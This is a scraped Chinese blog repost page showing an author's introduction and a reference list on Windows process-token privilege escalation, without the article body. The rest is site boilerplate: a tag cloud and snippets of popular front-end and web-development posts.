學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行,

(By:Eastmount 2020-09-12 星期一 晚上11點寫于武漢 http://blog.csdn.net/eastmount/ )



2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,

在這里插入圖片描述

參考文獻:
[1]《Windows黑客編程技術詳解》甘迪文老師
[2] 行程訪問令牌權限提升 - 自己的小白
[3] windows行程提權(C語言實作) - zzkdev
[4] https://www.freebuf.com/sectool/175551.html
[5] https://blog.csdn.net/Simon798/article/details/107051801/

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/34785.html

標籤:其他

上一篇:HarmonyOS 鴻蒙入門教程之01 基礎環境和開發工具 (教程含原始碼)

下一篇:社會工程學

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • vue移動端上拉加載

    可能做得過于簡單或者比較low,請各位大佬留情,一起探討技術 ......

    uj5u.com 2020-09-10 04:38:07 more
  • 優美網站首頁,頂部多層導航

    一個個人用的瀏覽器首頁,可以把一下常用的網站放在這里,平常打開會比較方便。 第一步,HTML代碼 <script src=https://www.cnblogs.com/szharf/p/"js/jquery-3.4.1.min.js"></script> <div id="navigate"> <ul> <li class="labels labels_1"> ......

    uj5u.com 2020-09-10 04:38:47 more
  • 頁面為要加<!DOCTYPE html>

    最近因為寫一個js函式,需要用到$(window).height(); 由于手寫demo的時候,過于自信,其實對前端方面的認識也不夠體系,用文本檔案直接敲出來的html代碼,第一行沒有加上<!DOCTYPE html> 導致了$(window).height();的結果直接是整個document的高 ......

    uj5u.com 2020-09-10 04:38:52 more
  • WordPress網站程式手動升級要做好資料備份

    WordPress博客網站程式在進行升級前,必須要做好網站資料的備份,這個問題良家佐言是遇見過的;在剛開始接觸WordPress博客程式的時候,因為升級問題和博客網站的修改的一些嘗試,良家佐言是吃盡了苦頭。因為購買的是西部數碼的空間和域名,每當佐言把自己的WordPress博客網站搞到一塌糊涂的時候 ......

    uj5u.com 2020-09-10 04:39:30 more
  • WordPress程式不能升級為5.4.2版本的原因

    WordPress是一款個人博客系統,受到英文博客愛好者和中文博客愛好者的追捧,并逐步演化成一款內容管理系統軟體;它是使用PHP語言和MySQL資料庫開發的,用戶可以在支持PHP和MySQL資料庫的服務器上使用自己的博客。每一次WordPress程式的更新,就會牽動無數WordPress愛好者的心, ......

    uj5u.com 2020-09-10 04:39:49 more
  • 使用CSS3的偽元素進行首字母下沉和首行改變樣式

    網頁中常見的一種效果,首字改變樣式或者首行改變樣式,效果如下圖。 代碼: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, ......

    uj5u.com 2020-09-10 04:40:09 more
  • 關于a標簽的講解

    什么是a標簽? <a> 標簽定義超鏈接,用于從一個頁面鏈接到另一個頁面。 <a> 元素最重要的屬性是 href 屬性,它指定鏈接的目標。 a標簽的語法格式:<a href=https://www.cnblogs.com/summerxbc/p/"指定要跳轉的目標界面的鏈接">需要展示給用戶看見的內容</a> a標簽 在所有瀏覽器中,鏈接的默認外觀如下: 未被訪問的鏈接帶 ......

    uj5u.com 2020-09-10 04:40:11 more
  • 前端輪播圖

    在需要輪播的頁面是引入swiper.min.js和swiper.min.css swiper.min.js地址: 鏈接:https://pan.baidu.com/s/15Uh516YHa4CV3X-RyjEIWw 提取碼:4aks swiper.min.css地址 鏈接:https://pan.b ......

    uj5u.com 2020-09-10 04:40:13 more
  • 如何設定html中的背景圖片(全屏顯示,且不拉伸)

    1 <style>2 body{background-image:url(https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture); 3 background-size:cover;background ......

    uj5u.com 2020-09-10 04:40:16 more
  • Java學習——HTML詳解(上)

    HTML詳解 初識HTML Hyper Text Markup Language(超文本標記語言) 1 <!--DOCTYPE:告訴瀏覽器我們要使用什么規范--> 2 <!DOCTYPE html> 3 <html lang="en"> 4 <head> 5 <!--meta 描述性的標簽,描述一些 ......

    uj5u.com 2020-09-10 04:40:33 more
最新发布
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 07:59:23 more
  • 生產事故-走近科學之消失的JWT

    入職多年,面對生產環境,盡管都是小心翼翼,慎之又慎,還是難免捅出簍子。輕則滿頭大汗,面紅耳赤。重則系統停擺,損失資金。每一個生產事故的背后,都是寶貴的經驗和教訓,都是專案成員的血淚史。為了更好地防范和遏制今后的各類事故,特開此專題,長期更新和記錄大大小小的各類事故。有些是親身經歷,有些是經人耳傳口授 ......

    uj5u.com 2023-04-18 07:55:04 more
  • 記錄--Canvas實作打飛字游戲

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 打開游戲界面,看到一個畫面簡潔、卻又富有挑戰性的游戲。螢屏上,有一個白色的矩形框,里面不斷下落著各種單詞,而我需要迅速地輸入這些單詞。如果我輸入的單詞與螢屏上的單詞匹配,那么我就可以獲得得分;如果我輸入的單詞錯誤或者時間過長,那么我就會輸 ......

    uj5u.com 2023-04-04 08:35:30 more
  • 了解 HTTP 看這一篇就夠

    在學習網路之前,了解它的歷史能夠幫助我們明白為何它會發展為如今這個樣子,引發探究網路的興趣。下面的這張圖片就展示了“互聯網”誕生至今的發展歷程。 ......

    uj5u.com 2023-03-16 11:00:15 more
  • 藍牙-低功耗中心設備

    //11.開啟藍牙配接器 openBluetoothAdapter //21.開始搜索藍牙設備 startBluetoothDevicesDiscovery //31.開啟監聽搜索藍牙設備 onBluetoothDeviceFound //30.停止監聽搜索藍牙設備 offBluetoothDevi ......

    uj5u.com 2023-03-15 09:06:45 more
  • canvas畫板(滑鼠和觸摸)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>canves</title> <style> #canvas { cursor:url(../images/pen.png),crosshair; } #canvasdiv{ bo ......

    uj5u.com 2023-02-15 08:56:31 more
  • 手機端H5 實作自定義拍照界面

    手機端 H5 實作自定義拍照界面也可以使用 MediaDevices API 和 <video> 標簽來實作,和在桌面端做法基本一致。 首先,使用 MediaDevices.getUserMedia() 方法獲取攝像頭媒體流,并將其傳遞給 <video> 標簽進行渲染。 接著,使用 HTML 的 < ......

    uj5u.com 2023-01-12 07:58:22 more
  • 記錄--短視頻滑動播放在 H5 下的實作

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 短視頻已經無數不在了,但是主體還是使用 app 來承載的。本文講述 H5 如何實作 app 的視頻滑動體驗。 無聲勝有聲,一圖頂百辯,且看下圖: 網址鏈接(需在微信或者手Q中瀏覽) 從上圖可以看到,我們主要實作的功能也是本文要講解的有: ......

    uj5u.com 2023-01-04 07:29:05 more
  • 一文讀懂 HTTP/1 HTTP/2 HTTP/3

    從 1989 年萬維網(www)誕生,HTTP(HyperText Transfer Protocol)經歷了眾多版本迭代,WebSocket 也在期間萌芽。1991 年 HTTP0.9 被發明。1996 年出現了 HTTP1.0。2015 年 HTTP2 正式發布。2020 年 HTTP3 或能正... ......

    uj5u.com 2022-12-24 06:56:02 more
  • 【HTML基礎篇002】HTML之form表單超詳解

    ??一、form表單是什么

    ??二、form表單的屬性

    ??三、input中的各種Type屬性值

    ??四、標簽 ......

    uj5u.com 2022-12-18 07:17:06 more